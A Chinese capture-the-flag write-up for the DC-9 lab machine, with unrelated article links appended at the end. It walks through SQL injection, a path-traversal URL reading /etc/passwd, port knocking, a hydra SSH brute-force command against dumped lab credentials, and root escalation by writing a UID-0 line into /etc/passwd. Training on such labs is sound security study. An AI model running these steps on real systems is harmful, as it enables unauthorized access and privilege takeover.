dc9靶场通关

一、扫描探测

靶机开放22和80端口

二、sql注入

在网站的search界面,发现存在注入点:

使用bp抓包,*标注注入点:

得到staff和users信息

爆库得到两个表的内容,其中staff中的密码是MD5值,sqlmap破解得到为transorbital1

登录管理界面后,发现出现一个文件不存在的提示:

尝试一下,发现有文件包含的问题,通过文件包含,可以知道常见的几个ssh用户名

http://192.168.136.202/welcome.php?file=../../../../../etc/passwd

三、关于knocked机制

knockd 主要的目的是希望可以动态的修改防火墙规则,他的运作流程是这样的:

  1. 服务器端的防火墙规则中先开放三个左右的端口口,这些端口口没有被其他程序激活,且可由 knockd 所侦测;
  2. 用户端若依照设置的顺序依序的连接到这三个端口口时, knockd 将进行动态防火墙规则的设置
  3. 防火墙规则被修改,且 knockd 持续进行侦测;
  4. 当用户端让 knockd 等候逾时,或者是用户端脱机后,刚刚步骤三的防火墙规则将会被移除

knock的配置文件在etc/knocked.conf中

依据序列敲门:

让防火墙开放ssh端口

四、hydra爆破

|----|------------|---------------|------------------|-----------|-----------|
| id | lastname | password | reg_date | username | firstname |
| 1 | Moe | 3kfs86sfd | 2019/12/29 16:58 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019/12/29 16:58 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019/12/29 16:58 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019/12/29 16:58 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019/12/29 16:58 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019/12/29 16:58 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019/12/29 16:58 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019/12/29 16:58 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019/12/29 16:58 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019/12/29 16:58 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019/12/29 16:58 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019/12/29 16:58 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019/12/29 16:58 | monicag | Monica |
| 14 | Buffay | smellycats | 2019/12/29 16:58 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019/12/29 16:58 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019/12/29 16:58 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019/12/29 16:58 | janitor2 | Scott |

根据这个用户名和密码库,生成字典,直接爆破。

hydra -q -L users.txt -P passwords.txt ssh://192.168.1.202 -o valid_logins.txt

|---------------------------------------------------------------------------------------|
| 22ssh host: 192.168.136.202 misc: (null) login: chandlerb password: UrAG0D! |
| 22ssh host: 192.168.136.202 misc: (null) login: joeyt password: Passw0rd |
| 22ssh host: 192.168.136.202 misc: (null) login: janitor password: Ilovepeepee |

然后分别登录这3个用户,发现janitor/Passw0rd,这个用户有隐藏文件。

把这些密码加入之前的密码文件中,继续爆破,得到新用户和密码:

22ssh host: 192.168.1.148 login: fredf password: B4-Tru3-001

登录后发现,有一个文件有sudo权限,但是是root权限创建的不能修改。

发现对应的是一个python脚本,可以写入文件

五、密码写入

即使系统启用了 shadow(/etc/passwd 中是 x),如果你手动将某个用户的密码字段从 x 改为实际哈希(如 $1$...),大多数 Linux 系统仍然会优先使用 /etc/passwd 中的密码进行认证!

换句话说:/etc/passwd 中的密码字段如果不是 x,就会覆盖 /etc/shadow 的设置

利用这个原理和上述脚本,可以写入一个新的root用户

/etc/passwd的格式为:

username:encrypted_password:UID:GID:GECOS:home_dir:shell

echo 'sb:1haha$T7nt1ThchynsrEviA0KLT0:0:0::/root:/bin/bash' 2.txt

整个过程如下:

相关推荐
芯次元玩家9 分钟前
技术岗转物联网解决方案架构师,行业洞察、商业模式该从哪开始学?
java·开发语言
EatFan9 分钟前
Spring Boot 4 升级避坑指南:依赖变化、Undertow 弃用、4.0.5 补丁与 Java 25 虚拟线程落地
java·spring boot·微服务·虚拟线程·spring boot 4
2601_9622186114 分钟前
C++ string 类原理、踩坑与对象语义详解
开发语言·c++
隔窗听雨眠16 分钟前
FunProxy用Rust构建跨平台全链路测试抓包代理工具
开发语言·后端·rust
卓怡学长17 分钟前
w213基于Spring Boot框架的Web安全学习系统的设计与实现
java·spring boot·spring·web安全·intellij-idea
y = xⁿ17 分钟前
关于Agent智能体开发
开发语言·前端·javascript
Zhou14113619 分钟前
MyBatisPlus_02_条件构造器与高级功能
java·开发语言·python
geovindu20 分钟前
rust: search
开发语言·后端·rust
垚垚学技术_聚焦云原生22 分钟前
Ansible Role 生产环境标准目录结构与规范化实践
java·elasticsearch·ansible
霸道流氓气质23 分钟前
Spring AI Alibaba Graph Studio 入门指南:可视化Agent编排与调试平台
java·人工智能·spring